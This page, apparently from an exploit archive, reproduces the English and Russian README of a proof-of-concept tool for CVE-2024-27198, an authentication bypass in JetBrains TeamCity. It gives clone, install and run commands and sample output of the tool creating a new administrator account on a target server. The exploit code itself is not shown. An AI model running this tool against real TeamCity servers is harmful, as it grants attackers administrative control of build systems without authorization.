Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2024-27198 PoC — JetBrains TeamCity 安全漏洞

Source
Associated Vulnerability
Title: JetBrains TeamCity 安全漏洞 (CVE-2024-27198)
Description:In JetBrains TeamCity before 2023.11.4 authentication bypass allowing to perform admin actions was possible
Description
is a PoC tool that targets a vulnerability in the TeamCity server (CVE-2024-27198)
Readme

# EN
**GenTeamCityExploit** is a PoC tool that targets a vulnerability in the TeamCity server (CVE-2024-27198). It enables the discovery of a TeamCity version and the creation of a new admin user by exploiting an authentication bypass flaw.

## Features
- Extracts the version of the TeamCity server.
- Checks for the presence of a known vulnerability (CVE-2024-27198).
- Creates a new administrator user if the server is vulnerable.

## Prerequisites
- **Python 3.6+**: Ensure you have Python installed.
- **Libraries**: Install the required libraries using:
    ```bash
    pip install requests urllib3
    ```

## Usage
1. Clone the repository.
    ```bash
    git clone https://github.com/geniuszly/CVE-2024-27198
    ```
2. Navigate to the directory.
    ```bash
    cd CVE-2024-27198
    ```
3. Run the script with the required parameters.
    ```bash
    python3 GenTeamCityAdminCreator.py -t <target_url> -u <username> -p <password>
    ```
    **Parameters**:
    - `-t`, `--target`: The URL of the target TeamCity server.
    - `-u`, `--username`: The username for the new admin user.
    - `-p`, `--password`: The password for the new admin user.

## Example
```bash
python3 GenTeamCityAdminCreator.py -t http://target-teamcity.com -u newadmin -p securepassword123
```

## Example output
```
$ python3 GenTeamCityAdminCreator.py -t http://target-teamcity.com -u newadmin -p securepassword123

[+] Версия сервера обнаружена: TeamCity Professional 2023.1 (build 104124)
[+] Сервер уязвим! Возвращен HTTP код: 200
[+] Пользователь 'newadmin' создан успешно! Перейдите на http://target-teamcity.com/login.html для входа.
```
In case the server is not vulnerable or the version is not found:
```
$ python3 GenTeamCityAdminCreator.py -t http://target-teamcity.com -u newadmin -p securepassword123

[+] Версия сервера обнаружена: TeamCity Professional 2023.1 (build 104124)
[-] Сервер, вероятно, неуязвим. Возвращен HTTP код: 403
```
If there is an error connecting to the server:
```
$ python3 GenTeamCityAdminCreator.py -t http://nonexistent-url.com -u newadmin -p securepassword123

[-] Ошибка при попытке соединения с сервером: HTTPConnectionPool(host='nonexistent-url.com', port=80): Max retries exceeded with url: /login.html (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ff9e1f07df0>: Failed to establish a new connection: [Errno -2] Name or service not known'))
```

## Disclaimer
This tool is intended for educational purposes only and should not be used on any systems without explicit permission from the owner. Unauthorized access to computer systems is illegal.


# RU
**GenTeamCityExploit** — это PoC-инструмент, нацеленный на уязвимость сервера TeamCity (CVE-2024-27198). Он позволяет обнаружить версию TeamCity и создать нового администратора, используя уязвимость обхода аутентификации.

## Возможности
- Извлекает версию сервера TeamCity.
- Проверяет наличие известной уязвимости (CVE-2024-27198).
- Создает нового пользователя-администратора, если сервер уязвим.

## Требования
- **Python 3.6+**: Убедитесь, что у вас установлен Python.
- **Библиотеки**: Установите необходимые библиотеки командой:
    ```bash
    pip install requests urllib3
    ```

## Использование
1. Клонируйте репозиторий.
    ```bash
    git clone https://github.com/geniuszly/CVE-2024-27198
    ```
2. Перейдите в папку с проектом.
    ```bash
    cd CVE-2024-27198
    ```
3. Запустите скрипт с обязательными параметрами.
    ```bash
    python3 GenTeamCityAdminCreator.py -t <target_url> -u <username> -p <password>
    ```
    **Параметры**:
    - `-t`, `--target`: URL целевого TeamCity сервера.
    - `-u`, `--username`: Имя пользователя для нового администратора.
    - `-p`, `--password`: Пароль для нового администратора.

## Пример
```bash
python3 GenTeamCityAdminCreator.py -t http://target-teamcity.com -u newadmin -p securepassword123
```

## Пример вывода
```
$ python3 GenTeamCityAdminCreator.py -t http://target-teamcity.com -u newadmin -p securepassword123

[+] Версия сервера обнаружена: TeamCity Professional 2023.1 (build 104124)
[+] Сервер уязвим! Возвращен HTTP код: 200
[+] Пользователь 'newadmin' создан успешно! Перейдите на http://target-teamcity.com/login.html для входа.
```
В случае, если сервер не уязвим или версия не найдена:
```
$ python3 GenTeamCityAdminCreator.py -t http://target-teamcity.com -u newadmin -p securepassword123

[+] Версия сервера обнаружена: TeamCity Professional 2023.1 (build 104124)
[-] Сервер, вероятно, неуязвим. Возвращен HTTP код: 403
```
При возникновении ошибки подключения к серверу:
```
$ python3 GenTeamCityAdminCreator.py -t http://nonexistent-url.com -u newadmin -p securepassword123

[-] Ошибка при попытке соединения с сервером: HTTPConnectionPool(host='nonexistent-url.com', port=80): Max retries exceeded with url: /login.html (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ff9e1f07df0>: Failed to establish a new connection: [Errno -2] Name or service not known'))
```

## Отказ от ответственности
Этот инструмент предназначен исключительно для образовательных целей и не должен использоваться на каких-либо системах без явного разрешения их владельца. Несанкционированный доступ к компьютерным системам является незаконным.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →